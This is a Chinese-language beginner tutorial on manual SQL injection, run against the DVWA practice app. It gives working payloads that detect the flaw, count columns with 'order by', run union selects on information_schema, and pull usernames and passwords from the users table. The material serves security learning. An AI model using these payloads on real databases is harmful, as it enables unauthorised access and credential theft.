滲透測試基礎之sql注入


1、什么是sql注入?

SQL注入攻擊是通過將惡意的SQL查詢或添加語句插入到應用的輸入參數中,再在后台SQL服務器上解析執行進行的攻擊,它目前是黑客對數據庫進行攻擊的最常用的手段之一。

2、sql注入能帶來的威脅?

猜解后台數據庫,這是利用最多的方式,盜取網站的敏感信息。
繞過認證,列如繞過驗證登錄網站后台。
注入可以借助數據庫的存儲過程進行提權等操作。

3、手動sql注入演示

3.1、驗證是否存在漏洞

輸入1:

輸入 1' or 1=1#:

我們是通過控制參數id的值來返回我們需要的信息。如果我們不按常理出牌,比如在輸入框中輸入1‘ or 1 = 1# 實際執行的SQL語句會變成。通過返回結果 ,我們可以判斷此處存在sql注入。

3.2、猜測查詢語句的字段數:

輸入 1' order by 1#:

輸入 1' order by 2#:

輸入 1' order by 3#:

 

通過這三次訪問,可以判斷目前只查詢兩列數據,分別為first name和surname;

 

3.3、獲取當前數據庫

我們使用union select 聯合查詢繼續獲取信息。union運算符可以將兩個或者兩個以上select語句的查詢結果集合合並成一個結果集顯示,即執行聯合查詢。需要注意在使用union查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為2。

輸入 1' union select 1,database() #

說明當前的數據庫為dvwa,我們嘗試獲取dvwa數據庫中的表名。information_schema是mysql自帶的一張表,這張數據表保存了Mysql服務器所有數據庫的信息,如數據庫名、數據庫的表、表欄的數據類型與訪問權限等。該數據庫擁有一個名為tables的數據表,該表包含兩個字段table_name和table_schema,分別記錄DBMS中的存儲的表名和表名所在的數據庫。

輸入   1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'#

說明數據庫dvwa中一共有兩個表,guestbook與users

3.4、獲取表中的字段

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #

 

3.5、獲取表中數據

輸入 1' union select user, password from users#


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM